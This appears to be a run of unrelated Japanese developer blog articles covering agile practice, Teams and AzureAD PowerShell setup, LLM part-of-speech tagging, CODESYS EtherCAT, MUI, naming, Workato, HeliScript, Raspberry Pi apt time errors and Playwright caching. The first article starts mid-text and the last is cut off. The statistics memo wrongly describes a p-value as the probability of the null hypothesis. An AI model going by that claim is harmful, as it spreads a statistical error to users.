1. スプリントの合間に数日～1週間程度の休憩期間（リフレッシュスプリント）を挟むことをPOや関係者と合意する
1. 期間中、休みを取りたい人は休む（皆で休むことを推奨する）
1. 期間中はスクラムイベントも行わない
1. 新たな学びや、技術検証、開発環境改善など普段なかなか着手できない作業にあてる
1. この期間は原則としてベロシティ計算の対象外とする（平均値が下がってしまうため）

## アレンジ例
* デイリースクラムだけ開催し、改善したことや学びを共有する
* 期間中にPBIを消化してもよいことにする（軽微なものであれば）
※PBIはDEVがやりたいものを選んでよい

## アンチパターン
* POや関係者に意義や効果を十分に説明しないまま導入する
* 溜め込んだ「バグ」や「技術的負債」を密かに解消するための期間として使う

## 参考情報
* [Quora:アジャイルよろず相談室のQ＆A](https://agile.quora.com/%E3%82%B9%E3%82%AF%E3%83%A9%E3%83%A0%E3%81%A7-%E3%82%B9%E3%83%97%E3%83%AA%E3%83%B3%E3%83%88%E3%81%A8%E3%82%B9%E3%83%97%E3%83%AA%E3%83%B3%E3%83%88%E3%81%AE%E9%96%93%E3%81%AB%E3%81%A8%E3%81%8D%E3%81%A9%E3%81%8D%E8%87%AA%E7%94%B1%E3%81%AA%E6%9C%9F%E9%96%93%E3%82%92%E8%A8%AD%E3%81%91%E3%82%8B-%E4%BC%91%E6%86%A9%E3%82%B9%E3%83%97%E3%83%AA%E3%83%B3%E3%83%88-%E3%81%A8%E3%81%84%E3%81%86%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9%E3%81%8C%E3%81%82%E3%82%8B%E3%82%88%E3%81%86%E3%81%A7%E3%81%99%E3%81%8C-%E3%81%A9%E3%81%AE%E3%82%88%E3%81%86%E3%81%AA%E5%8A%B9%E6%9E%9C%E3%81%8C%E3%81%82%E3%82%8B%E3%81%AE%E3%81%A7%E3%81%97%E3%82%87%E3%81%86%E3%81%8B)を読むと、賛否両論あるようです。

* ryuzeeさんも[『スクラムで開発チームが自由な取り組みをするには？』](https://www.ryuzee.com/contents/blog/7113)という記事で近い内容を解説されており、そもそもチームが疲弊する原因は？という根本的な解決策にも言及されています

* [『持続可能なペース』](https://www.agile-studio.jp/post/apm-sustainable-pace)についてはAgile Studioさんの解説がシンプルで分かりやすいと思います。


## こぼれ話（私的コメント）
このプラクティスは大変お世話になったアジャイルコーチの方から教えていただいたものです。事情により、このアイデアの出所がどこかをお聞きすることは叶わなくなってしまったのですが、教えていただいたことを僕個人の中だけに留めて無駄にしたくないと思い、次の人にバトンを渡すつもりで記事にしました。
スクラムマスターとして「そもそも疲れないペースを維持すべき」という主張には大いに頷けます。一方でチームが疲れてしまった状況に備え、そのリカバリープラン（腹案）として持っておく、というのはアリかな、とも思います。
このプラクティスを受け入れてもらえるほどPOと十分な関係が築けているかどうかが一番大切かもしれません。

---
　[アジャイルプラクティス一覧へ戻る](https://qiita.com/kakashi_h5/items/20584998c5ca4594b9ea)
Microsoft Teams 管理センターの言語を日本語に設定する方法


### Microsoft Teams 管理センターの言語を日本語に設定する方法


Microsoft Teamsの導入が増える中で、管理センターが英語表示されると困る方も多いと思います。この記事では、Teams管理センターを日本語表示に設定する手順を詳しく解説します。

## 事前準備
Teams管理センターの言語設定を変更する前に、必要なモジュールをインストールしましょう。

### PowerShellを管理者として開く
- スタートメニューからPowerShellを検索し、右クリックで「管理者として実行」を選択します。

### Azure Active Directoryモジュールをインストール
- PowerShellで以下のコマンドを実行します。
  ```powershell
  Install-Module -Name AzureAD
  ```

## Teams管理センターの言語設定を日本語に変更

### Azure ADに接続
- 以下のコマンドをPowerShellに入力して実行します。
  ```powershell
  Connect-AzureAD
  ```

### 管理者アカウントのObjectIdを確認
- 全ユーザーのObjectIdを表示するには、次のコマンドを実行します。
  ```powershell
  Get-AzureADUser -All $true | Select-Object DisplayName, ObjectId, UserPrincipalName
  ```

### 現在の言語設定を確認
- 特定のユーザーの言語設定を確認するには、次のコマンドを使用します。
  ```powershell
  Get-AzureADUser -ObjectId [取得したObjectId] | Select-Object DisplayName,PreferredLanguage
  ```

### 言語設定を日本語に変更
- 以下のコマンドで、言語設定を日本語に変更します。
  ```powershell
  Set-AzureADUser -ObjectId [取得したObjectId] -PreferredLanguage ja-JP
  ```

### 設定の確認と反映
- 設定変更を確認するために、再度言語設定を確認します。
  ```powershell
  Get-AzureADUser -ObjectId [取得したObjectId] | Select-Object DisplayName,PreferredLanguage
  ```
- Teams管理センターにアクセスし、言語が日本語になっているか確認します。反映されていない場合は、一度サインアウトして再度サインインしてください。

## まとめ
この手順で、Microsoft Teams 管理センターを日本語で表示させることができます。管理作業の効率が向上し、より快適にTeamsを使用できるようになるでしょう。
suzume-llama-3-8B-japaneseでのFew-Shot Promptingによる日本語品詞付与

[suzume-llama-3-8B-japanese](https://huggingface.co/lightblue/suzume-llama-3-8B-japanese)は、[Meta-Llama-3-8B](https://huggingface.co/meta-llama/Meta-Llama-3-8B)を日本語に拡張したモデルらしいのだが、拡張に際してトークナイザの日本語化を[おこなっていない](https://qiita.com/KoichiYasuoka/items/385393644594d56d471c)。これがどういう問題を引き起こすか、国語研短単位でのUPOS (Universal Part-Of-Speech)品詞付与をFew-Shot Promptingで挑戦してみよう。5つの例文は、[この記事と全く同じもの](https://qiita.com/KoichiYasuoka/items/8b63a42dc730d8141dea)を選んだ。

```
>>> class TextUPOSList(list):
...   __str__=lambda self:"\n".join("###text:"+"".join(t for t,u in s)+"\n###UPOS:"+"|".join(t+"_"+u for t,u in s) for s in self)+"\n"
...
>>> ex=TextUPOSList()
>>> ex.append([("一","NUM"),("直線","NOUN"),("に","ADP"),("伸びる","VERB"),("電撃","NOUN"),("を","ADP"),("放ち","VERB"),("、","PUNCT"),("電撃","NOUN"),("ダメージ","NOUN"),("を","ADP"),("与える","VERB"),("。","PUNCT")])
>>> ex.append([("色々","ADV"),("と","ADP"),("面白い","ADJ"),("メニュー","NOUN"),("の","ADP"),("ある","VERB"),("店","NOUN"),("。","PUNCT")])
>>> ex.append([("しかも","CCONJ"),("、","PUNCT"),("ここ","PRON"),("は","ADP"),("コース","NOUN"),("が","ADP"),("リーズナブル","ADJ"),("な","AUX"),("の","SCONJ"),("です","AUX"),("。","PUNCT")])
>>> ex.append([("彼","PRON"),("は","ADP"),("コンピュータ","NOUN"),("を","ADP"),("個人","NOUN"),("の","ADP"),("持ち物","NOUN"),("に","ADP"),("し","VERB"),("まし","AUX"),("た","AUX"),("。","PUNCT")])
>>> ex.append([("2007","NUM"),("年","NOUN"),("9","NUM"),("月","NOUN"),("現在","ADV"),("、","PUNCT"),("以下","NOUN"),("の","ADP"),("メーカー","NOUN"),("から","ADP"),("対応","NOUN"),("製品","NOUN"),("が","ADP"),("発売","VERB"),("さ","AUX"),("れ","AUX"),("て","SCONJ"),("いる","VERB"),("。","PUNCT")])
>>> from transformers import pipeline
>>> tgn=pipeline("text-generation","lightblue/suzume-llama-3-8B-japanese",max_new_tokens=128)
>>> print("\n".join(tgn(str(ex)+"###text:国境の長いトンネルを抜けると雪国であった。\n###UPOS:")[0]["generated_text"].split("\n")[len(ex)*2:len(ex)*2+2]))
###text:国境の長いトンネルを抜けると雪国であった。
###UPOS:国境的_NOUN|の_ADP|長い_NUM|トンネル_NOUN|を_ADP|抜けると_ADP|雪国_NOUN|であった_AUX|。_PUNCT
```

『雪国』の冒頭文に品詞付与させてみたところ、私(安岡孝一)の手元では、suzume-llama-3-8Bは「`国境_NOUN|の_ADP|長い_ADJ|トンネル_NOUN`」にいきなり「的」を挿入してしまって、その後は「`抜ける_VERB|と_ADP|雪国_NOUN|で_AUX|あっ_AUX|た_AUX`」が全くトークナイズできてない。もう一度やってみよう。

```
>>> print("\n".join(tgn(str(ex)+"###text:国境の長いトンネルを抜けると雪国であった。\n###UPOS:")[0]["generated_text"].split("\n")
###text:国境の長いトンネルを抜けると雪国であった。
###UPOS:国境の_NOUN|長い_ADJ_NOUN|トンネル_NOUN|を_ADP|抜けると_VERB|、_PUNCT|雪_NOUN|国_NOUN|であった_ADJ|。_PUNCT
```

今度は「`国境_NOUN|の_ADP`」が1語にくっついてしまい、結果として「長い」の品詞が崩壊している。しかも「`、_PUNCT`」が勝手に挿入されている。もう一度やってみよう。

```
>>> print("\n".join(tgn(str(ex)+"###text:国境の長いトンネルを抜けると雪国であった。\n###UPOS:")[0]["generated_text"].split("\n")
###text:国境の長いトンネルを抜けると雪国であった。
###UPOS:国境_NOUN|の_ADJ|長い_ADJ|トンネル_NOUN|を_ADP|抜け_VERB|ると_CONJ|雪_NOUN|国の_ADP|ありた_AUX|た_AUX|。_PUNCT
```

どんどん悪化しているように見える。[4月20日の記事](https://qiita.com/KoichiYasuoka/items/de33b591232b6f87c147)にも書いたとおり、現時点のLLaMA-3は日本語対応が未熟で、まずはトークナイザを改良しなければいけない、ということだ。 さて、どうすればいいかな。
CODESYS シミュレーション実行と実機でのEtherCATタスク (CODESYS CNC)

<h3>ありがとうございます</h3>
OM社のEtherCATのアンプが６個もなぜか手元に！
結線（といっても制御用電源とEtherCATだけです）して、CODESYSにEtherCATを設定してつないでみました。

<h3>EtherCATのケーブルをAmazon Basic の高品質CAT7ケーブルで（安い！）</h3>

EtherCATのケーブルは金属のシールドがコネクタのソケットに出ているCAT7の30cmのケーブルで代用しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/408008/4a4e3676-3ff1-9492-4122-577a4c56ee1e.png)

写真のとおり、金属のシールドがコネクタに出ています。
ACサーボのEtherCATのソケットにきちんと接続されています。
念のため、アンプ間のシールドの抵抗を計測して０Ωを確認しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/408008/a0865b69-b3cb-8b9d-db50-47182f05d108.png)

Amazonへの直接リンクはこちらです。https://amzn.to/49T8eRl



<h3>EtherCATのドライバを登録</h3>
ESIファイルどうしようかと思っていましたが、CODESYS内にありました。流石OM社です！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/408008/85ca17c3-81a6-5cf9-51b6-063b0edbcdfb.png)


EtherCATの機器を設定すると、EtherCATタスクが出来ました。

EtherCATのタスクは、補間器を入れたリアルタイム制御タスクよりも優先度が高く、周期も短かかったのですが、もちろんシミュレーションなので、接続しないし、プログラムは何も登録しなくて問題ないだろう、と考えていました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/408008/9c1e2d46-2c00-7bde-3f74-cd9daf6f2a90.png)


ところが、シミュレータで実行すると、補間器でドライバのエラー（ちょっと詳細がよくわからない感じですが、どこかの軸のステータスが異常になる）が出てしまいました。

もしかして、安いケーブルが問題なのかと、一瞬思いましたが、シミュレーターだし、接続してないので無関係。

EtherCATのタスクの優先度と周期を下げてみました。


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/408008/e9101509-f559-0077-202d-3d758fa03005.png)

そうしたところ、問題なくGコード、動きました。

ちなみに、無効にするオプションは探しても見つからなかったです。

開発はシミュレーションでおこなうので、これで問題がないのですが、実機でもシミュレーターでも、っていうプロジェクトにしたいですね。



リアルタイム制御タスクのPOUをEtherCATタスクに付け替えたら、問題ないのかもしれません。
しかしWindowsのPCシミュレーターで（いろんな人のPCで）それ安定的に出来るのだろうか？という疑問が残りました。




:::note warn
2024/04/27 付け替えてシミュレーションしてみても、問題ありませんでした。PCでのシミュレーションでは時間が正確でないはずなので、正確さがなくても良いのかもしれません。（EtherCATタスクが上位にあるとエラーになっていたので、正確な部分とそうでない部分があるのかも）

:::

:::note info
余談
余っているインテルのPCに、ハードリアルタイムができるLINUXバージョン（INTEL ECI PREEMPT_RT LINUX ）を入れると、RPiと同じように出来るようです。当面はRPiあるし、それでいいです。

資料はこちら
https://cdrdv2-public.intel.com/757527/757527_Improve-RealTime-Perform-With-Real-Time-Tech-Rev1p0.pdf

:::


<h3>ACサーボ、メカ、各種機器、共同開発募集</h3>

モーター・メカなど必要な機材で検証したいです。

ACサーボ（　OMRON G5　）の100W～200Wくらいのモーター＋ケーブル、あと、もしあればストロークリミット等のSWのIO用のケーブル＋端子台どこかに余ってませんでしょうか～？

でもOM社さんのACサーボの立ち上げ調整ソフトってめちゃめちゃ高額らしく、ソフトないと調整できないのかもしれません。（　YA社のサーボは、無料のがあるんですけどね。　）

お借りできる機材は、CNC完成したらお返しします。
お遊びや展示会などでCNCのデモができるプロジェクトを提供します。

個人利用の場合は、無料で。
商用利用の場合は、フェアな関係。
を希望いたします。

開発の途中ですが、今の開発の感触では、Mコードや、1000行以上のGコード、接線制御は大丈夫な感じです。OUT_QUEUEバッファに、どれくらい長いコードまでが大丈夫なのでしょうか？（限界まだ調べてません）

なんでもできるCODESYS　x　いろんなコントローラの組み合わせでは、限界を提示するのは難しいと思うのですが、
ラズパイだったら他のタスクがなければ、これくらいできる、っていうのが１つの目安になるかと思ってます。産業用PLCだと、プロジェクトをコンバートして許容できるGコードの行数などをテストできるアプリを作れそうです。

とりあえずPCシミュレーターやラズパイで限界しらべたら、勝手にお知らせします。

ではまた～
MUI  実装Tips集

# ※随時更新していきます

# 要素を画面の真ん中に表示する

```react
return (
  <Box
    display="flex"
    justifyContent="center"
    alignItems="center"
    sx={{width: "100%", height: "100%"}}
  >
    <Container sx={{
      width: "50%", 
      height: "50%", 
      background: "#999009"
    }}>
      <Typography>Center</Typography>
    </Container>
  </Box>
);
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2475427/beb66663-2037-e58b-3f7b-b146ba5b8797.png)

# 要素の横並び、縦並び
一列に場合は、`Stack`を使う。
横並びにしたい場合は、`direction`を`row`に、縦並びの場合は`column`を指定
```react
  return (
      <Stack direction={"row"} spacing={2}>
        <Box sx={{ background: "#239999" }}>
          <Typography>Left</Typography>
        </Box>
        <Box sx={{ background: "#239999" }}>
          <Typography>Right</Typography>
        </Box>
      </Stack>
  );
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2475427/1c82b2ed-8718-6a34-961f-ab518aef285b.png)

```react
  return (
      <Stack direction={"column"} spacing={2}>
        <Box sx={{ background: "#239999" }}>
          <Typography>Top</Typography>
        </Box>
        <Box sx={{ background: "#239999" }}>
          <Typography>Bottom</Typography>
        </Box>
      </Stack>
  );
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2475427/c326a10d-7dbb-b5f2-e1fb-77b3a1c37bbc.png)
命名アンチパターン

# はじめに
Hubbleでバックエンドエンジニアをしている @power3812 です。オブジェクト指向大好きマンで、神クラスを作れないかと模索の日々です:innocent:

今回は今までの経験上アンチパターンだと感じる変数名やクラス名、メソッド名(関数名)について書こうと思います！

:::note warn
特定の言語、設計によってはアンチパターンではない場合があるので、一般論として書きます。
:::


## 変数名
### xxx_info, yyy_data
コンピュータ上で扱っている以上、すべてのプログラムはinfo、information(情報)、data(数値情報)なので、変数名上つけても意味がない単語になっています。

### xxx_array, yyy_string
型情報を書くこと自体は悪くはない(個人的には推奨しない)ですが、それならばそのPJのすべての変数に型情報を書くべきです。この変数は型情報を書くが、この変数には型情報書かないだと個人個人の判断になってこの変数に特別な意味があるのかと邪推してしまい冗長になります。

### target_xxx, result_yyy
target、resultのような意味の範囲が多すぎる単語(意味がありそうで意味のない単語)を使用すると、スコープが長い場合、なんのtarget、resultかわからなくなります。
targetであればdo_update_xxx、resultであればupdated_yyyなど施すべき処理や施した処理を変数名にして具体例な命名にしましょう。

## クラス名
### XxxManager, YyyUtil, ZzzProvider
そもそもクラス自体、そのクラスにされた概念(Xxx、Yyy)のManagerでUtil郡なので意味が冗長になるので不要です。
providerもクラス自体、概念(インスタンス、メソッド、定数等)を供給をするものなので意味が冗長なので不要です。

### XxxWrapper
使い手側からしたらxxx(目的)が必要なだけで、何かがwrap(手段)されてxxxが提供されていても関係ないです。(手段は関係ない)

## メソッド(関数)名
### check_xxx
バリデーションなどでよくcheck_xxxなどをよく見ますが、checkだとtrueが返ればokなのか、falseが返ればokなのか、はたまたnullが返ればokなのか分からないのでis_xxxやexsits_yyyなどbooleanで返すようにした方が良いです。

### update_and_delete
andが使わるという事は処理が長すぎる可能性があります。updateとdeleteに分割して使い手側がupdateとdeleteを呼ぶべきです。

# まとめ
今回は、今まで経験上アンチパターンだと感じる命名についてざっと書いてみました！
オブジェクト指向言語を使っているため、具体と抽象のライン引きが難しいので命名が困ったときに参考になれば嬉しいです。
統計検定を行う際のメモ

### 効果量について
統計検定ではp値を用いて、有意である/有意でないを判断するが、p値はサンプルサイズが大きくなると小さくなってしまい、統計的に有意であるという結果を導きやすい。

サンプルサイズに関わらず、有意であるとどのぐらい言えるのかを確認するために**効果量**を使う。

### 検定力について
また、p値を用いて有意であるかどうか判断したとしても、p値で確認できるのは帰無仮説の確率である。よって、対立仮説がどのぐらいの確率で支持されるかはp値では測定することができていない。
有意であったとしても、対立仮説が支持される確率も同様に高いかもしれない。

よって、対立仮説が支持される確率である$$1-B$$を検出力として算出する。
Job一覧画面をカスタマイズしてもっと見やすく！

# はじめに
Workatoでは、レシピが実行されるとJobという形でログが残ります。
レシピの「Jobs」タブにアクセスすると、JOBの一覧を確認できます。
この一覧は**JOBテーブル**といいます。

![スクリーンショット 2024-04-25 124007.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3778017/41b2044f-991b-8c99-8c4a-731c257d2ecf.png)


デフォルトでは、**実行時刻**、**トリガーの情報**が表示されますが、
**任意のカラムを追加**してカスタマイズすることができます。
（最大10カラムまで）



通常、各JOBで処理した細かい内容を知りたい時は、JOBテーブルから該当の１つをクリックして、アクションのINPUTやOUTPUTを見ていきます。
でも、忙しい時はこの数クリックが煩わしかったりします。

JOBテーブルで**特定の項目の値が表示される**設定にしておけば、個別のJOBを開かなくても知りたい情報が一覧できて便利です。



この記事では、カスタマイズ手順と活用例３つを紹介します。

# カスタマイズ手順

１）まずは、レシピを停止してください。（画面右上の「Stop recipe」ボタン）
![スクリーンショット 2024-04-25 124155.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3778017/a4f04a5e-def9-9aa1-645e-db3c67b75a0b.png)

２）JOBテーブル右上の三点リーダーをクリックして、「Customise job table」をクリック
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3778017/eaaebe71-bd9f-e7cd-ffb6-7ddd9eb07595.png)

３）JOBテーブルの編集画面が開かれます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3778017/619b7940-ddde-2301-36e0-92c7b18b6697.png)


４）カラムの追加と内容の設定

**Column nameには、列名**
**Column valueには、表示したい内容**
を設定していきます。


右側の「Recipe data」領域には、そのレシピの**トリガーやアクションのデータピル**が表示されており、Column valueに使用できます。　
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3778017/df172e5b-1e36-0153-30ce-dcd029c51c0a.png)

また、Column valueをFormulaモードに切り替えると、Workatoの組み込み関数を使えます。

今回の例は、SmartDBで文書が新規登録されたら動くレシピです。
文書を登録した**課**の名称だけを表示させたいな、という場合を想定します。

SmartDB上、部と課が連結された名称「xxxソリューション事業部_1課」が設定されているので(そういう想定です)、Formulaモードにして課だけを抜き出すような加工をします。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3778017/293b05f5-379b-e176-541c-b5fe0832d0bc.png)

これでカスタマイズ終了です。
この後に発生したJOBがどうなるか見てみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3778017/c2869aa5-59d4-1279-85fe-0d2bb46010ca.png)

::: note info
処理を分岐している場合などで、実行されなかったアクションのデータピルをColumn valueに使用していた場合は、ブランクで表示されます。
:::

### 実行結果
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3778017/6d3eb5a6-3e80-aa41-4eec-7f923268b44b.png)

各カラムに、期待した値が表示されています。

# 活用例
### ① 大量データの処理結果件数の把握





夜間スケジュールでデータを一括アップサートするような処理では、対象件数などを表示すると便利です。
（例：Aシステム→Bシステムへマスタ連携するレシピ）

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3778017/572873b4-1d2e-36cf-a953-044f5ac7a844.png)

「昨日は何件処理された？」「いつも大体何件くらいが処理されるのだろう？」
このような数値は、費用対効果の計算などに活用できるかもしれません。



### ② JOBが多くて埋もれてしまう対策

アプリケーション側で送信されるイベントが多い（業務的に捕捉するイベントが多い）場合は、その分JOBも多く発生します。

そうしたレシピでは、エラートレースの際に目的のデータを特定しようとしても埋もれてしまい、探すのに苦労します。
（例：JiraのIssue作成をトリガーに動くレシピ）

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3778017/90ec59ee-e1d7-9864-a841-925affc4b7d7.png)


プロジェクトIDや課題キーなどを表示していれば効率的に探せますし、特定の項目をモニタリングしておけば。より調査が捗ります。



### ③ 使用頻度の高い操作やヘビーユーザーの把握

全社向けにリリースしたアプリでは、機能(ボタン)名や実行ユーザーIDを表示すると役立つことがあります。
（例：SlackのAppHomeでアプリを展開し、押されたボタンに応じてフォームで情報の入力/選択を行い申請できるレシピ）

![スクリーンショット 2024-04-26 093817.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3778017/f74a84e9-4f6a-ea0a-17ec-08e6b56a25b7.png)




「どの部署で使われているんだろう？」「どの機能が使われているんだろう？」それらが簡易に把握できます。

使用頻度の高い部署や関係者が分かれば、質の高い意見が収集でき、アプリの改善に役立てられます。
今まで作ったcomponentを使ってワールドを完成させる

:::note info
本記事は、[HeliScriptでリッチなアスレチックワールドを作ろう！【コピペで使えるサンプルコード付き】](https://qiita.com/IwahanaFuku/private/63e6bbca2bc1f13ed57e)の記事の一部です

VR法人HIKKYのorganization下のQiita/Zenn両方に投稿しております。
:::

## はじめに
今までのシリーズで作ってきたcompornentを使用して、アスレチックワールドを完成させます！

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3629942/cd3510ea-0688-7f23-2bfe-d5a51c368630.png)

今回作成したワールドは、下記に公開しています。

### リポジトリ
https://github.com/IwahanaFuku/VketCloud_RichAthletic

### ワールド
[駆け上れ！　遺跡アスレチック！](https://iwahana.cloud.vket.com/worlds/Bvfa4hYD/main.html?worldid=Bvfa4hYD)

## アスレチックギミックの設定
### 上下する床エリア
![2024-05-08 23-01-27_6.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3629942/35d01d20-fd9c-77a8-ed2b-8c7bb2869488.gif)

#### 使用compornent
* [HeliScriptでアイテムを反復して動かす【コピペで使えるサンプルコード付き】](https://qiita.com/IwahanaFuku/items/dfc38371ad0ed7cc034d)

### 押し出すブロックエリア
![2024-05-08 23-01-27_7.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3629942/e32579b2-bd93-c7d3-736c-6e2646be03a7.gif)

#### 使用compornent
* [HeliScriptでアイテムを反復して動かす【コピペで使えるサンプルコード付き】](https://qiita.com/IwahanaFuku/items/dfc38371ad0ed7cc034d)

### 振り子エリア
![2024-05-08 23-01-27_8.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3629942/6db42cde-404b-70b9-0359-9fc5ce6be14a.gif)

#### 使用compornent
* [HeliScriptで振り子を動かす【コピペで使えるサンプルコード付き】](https://qiita.com/IwahanaFuku/private/886ff5e61282bf7b611d)

### 回転する床・落ちるブロックエリア
![2024-05-08 23-01-27_9.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3629942/c5e5e643-5771-4e6d-4ff5-042df933b39b.gif)

#### 使用compornent
* [HeliScriptでアイテムを回転させる【コピペで使えるサンプルコード付き】](https://qiita.com/IwahanaFuku/private/48611f49b875529cedf0)
* [HeliScriptでアイテムを揺らす【コピペで使えるサンプルコード付き】](https://qiita.com/IwahanaFuku/private/607d73db767362c0162f) 


* [HeliScriptで中間ポイント、ゲームオーバー、ゲームクリアを実装する【コピペで使えるサンプルコード付き】]
で作った、`HalfwayPointManager`コンポーネントを調整しており、不安定な床は中間ポイントにワープした時点でリセットされてほしいので、リセットを行うための関数を呼び出しています。

```C#
    //中間ポイントにワープする
	public void WarpHalfwayPoint()
	{
        Player player = hsPlayerGet();
		player.SetPos(m_warpPoint);
        player.SetRotate(m_rotate);

        OnHalfwayPointWarp();
	}

    //中間ポイントにワープするした時に呼ぶメソッド
    void OnHalfwayPointWarp()
    {
        hsItemGet("UnstableFooting").CallComponentMethod("UnstableFooting", "InitializeFooting", "");
    }
```

### ゴールエリア
![2024-05-08 23-01-27_10.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3629942/24eed780-08d2-2008-9bd7-21827579e02b.gif)

#### 使用compornent
* [プレイヤーの名前とクリアタイムを表示できるようにする【コピペで使えるサンプルコード付き】](https://qiita.com/IwahanaFuku/private/f43127bea0cbd6447acb)


## まとめ
今まで作ってきたcomponentを利用して、リッチなワールドを一通り遊ぶことが出来るようになりました！
HeliScriptを使うことでアクションだけではできない複雑な動きやゲームを作ることが出来るようになります。
ぜひ自身のVketCloudSDKのプロジェクトでもHeliScriptを使用したゲーム作成をしてみていただけますと幸いです。

 **前 :** [プレイヤーの名前とクリアタイムを表示できるようにする【コピペで使えるサンプルコード付き】](https://qiita.com/IwahanaFuku/private/f43127bea0cbd6447acb)
raspberrypiでapt updateしたときE: Release file for http://deb.debian.org/debian-security/dists/bookworm-security/InRelease is not valid yetとなる場合


# はじめに
raspberry pi (debian)でupdateを行おうとしたときに，
```Err:6 http://ppa.launchpad.net/deadsnakes/ppa/ubuntu mantic Release 404 Not Found```
と出たので，解決方法を備忘録として上げておきます．debian,ubuntuなら同様の方法で解決出来ると思われます．

# 環境
Distributor ID: Debian
Description:    Debian GNU/Linux 12 (bookworm)
Release:        12
Codename:       bookworm

# エラー
```zsh
Hit:1 http://deb.debian.org/debian bookworm InRelease
Get:2 http://deb.debian.org/debian-security bookworm-security InRelease [48.0 kB]
Get:3 http://deb.debian.org/debian bookworm-updates InRelease [55.4 kB]
Get:4 http://archive.raspberrypi.com/debian bookworm InRelease [23.6 kB]
Reading package lists... Done
E: Release file for http://deb.debian.org/debian-security/dists/bookworm-security/InRelease is not valid yet (invalid for another 2d 1h 30min 43s). Updates for this repository will not be applied.
E: Release file for http://deb.debian.org/debian/dists/bookworm-updates/InRelease is not valid yet (invalid for another 2d 1h 17min 41s). Updates for this repository will not be applied.
E: Release file for http://archive.raspberrypi.com/debian/dists/bookworm/InRelease is not valid yet (invalid for another 2d 4h 28min 42s). Updates for this repository will not be applied.
```
# 原因
raspberry piの時計が合っていないだけです．
# 対策
1 Raspberry Pi の時計
2 手動による時刻合わせ
3 NTPによる時刻合わせ
今回はお手軽に2番の手動で合わせる方法を使います.
以下のようにterminalにコマンドを打つだけです．
```zsh
 sudo date --set='2024/04/26 10:39:00'
```
- もう一度アップデートコマンドを入力
```zsh
sudo apt update
```

# 終わりに
同様に困っている方がいたら参考にしてください．間違えなどありましたら，教えていただけるとありがたいです．
Github Actions – Playwright で利用する ブラウザ Chromium をキャッシュ利用する

# 概要

## キャッシュするディレクトリ

runner で Chromium がインストールされるディレクトリをそのままキャッシュ・リストアする

## キャッシュのキー

ハッシュ生成元として利用できるファイル ( npm で言うところの package.json 的なファイル )  がないので、playwrightのバージョンをキャッシュのキーとする

Playwrightのバージョンに対して各ブラウザのバージョンは固定のようなので

https://playwright.dev/docs/release-notes

## STEP

RestoreとCacheを1個のSTEPで実現せず、Restore / Cache のステップに分けている


参考

https://github.com/actions/cache

# Workflowの例 (一部)

```yml
- name: Get Playwright Version For Browser Cache Key
  id: get-playwright-version
  run: |
    echo "playwright-version=$(npx playwright --version | sed 's/ //g')" >> $GITHUB_OUTPUT
  shell: bash

- name: Restore Cache Playwright Browser
  id: restore-cache-playwright-chromium
  uses: actions/cache/restore@v4
  with:
    path: /home/runner/.cache/ms-playwright
    key: playwright-chromium-${{ steps.get-playwright-version.outputs.playwright-version }}

- name: Install Playwright Browsers
  run: npx playwright install chromium
  if: ${{ steps.restore-cache-playwright-chromium.outputs.cache-hit != 'true' }}

- name: Save Cache – Playwright Browser
  uses: actions/cache@v4
  id: save-cache-playwright-chromium
  with:
    path: /home/runner/.cache/ms-playwright
    key: ${{ steps.restore-cache-playwright-chromium.outputs.cache-primary-key }}

```


# チャットメンバー募集


何か質問、悩み事、相談などあればLINEオープンチャットもご利用ください。

https://line.me/ti/g2/eEPltQ6Tzh3pYAZV8JXKZqc7PJ6L0rpm573dcQ


# プロフィール・経歴

https://github.com/YumaInaura/YumaInaura
iOS向けのWebアプリの作成時に気づいたこと

# 概要
Webアプリはブラウザ上で閲覧できるため、PC/スマホ両方で利用することができます。
しかし、PCと異なりスマホは端末の画面が小さくなります。指でタッチすることを考慮する必要があるため、一部のスマホはUIに関する独自のガイドラインが定められています。
たとえば、[iOS向けのユーザーインターフェイスのデザインのヒント](https://developer.apple.com/jp/design/tips/)のように、文字の大きさやタッチコントロールなど細かいところまでガイドラインが定められています。
今回は、上記のデザインのヒントを知らずに開発していたら、バグった話を紹介します。
[Andoridの端末でもiOSのようなガイドライン](https://developer.android.com/design/ui/mobile/guides/foundations/accessibility?hl=ja&_gl=1*fjdscy*_up*MQ..*_ga*MjA2Mjg4MTgwMy4xNzEzOTM0NjE4*_ga_6HH9YJMN9M*MTcxMzkzNDYxNy4xLjAuMTcxMzkzNDYxNy4wLjAuMA..)が定められていますので、確認してみてください。

#### 使っているバージョン（2024/04/24 執筆時点）
　iOS: 17.4
  端末: iPhone15
　React: v18.2.0
　@mui/material: v5.14.4

# 隣接したチェックボックスのバグ
#### バグの詳細：
iOSの端末で、縦方向にチェックボックスグループを上から下の順で早くチェックした時に、なぜかチェック操作が正しく動作しないバグが報告されました。

##### サンプルコード：
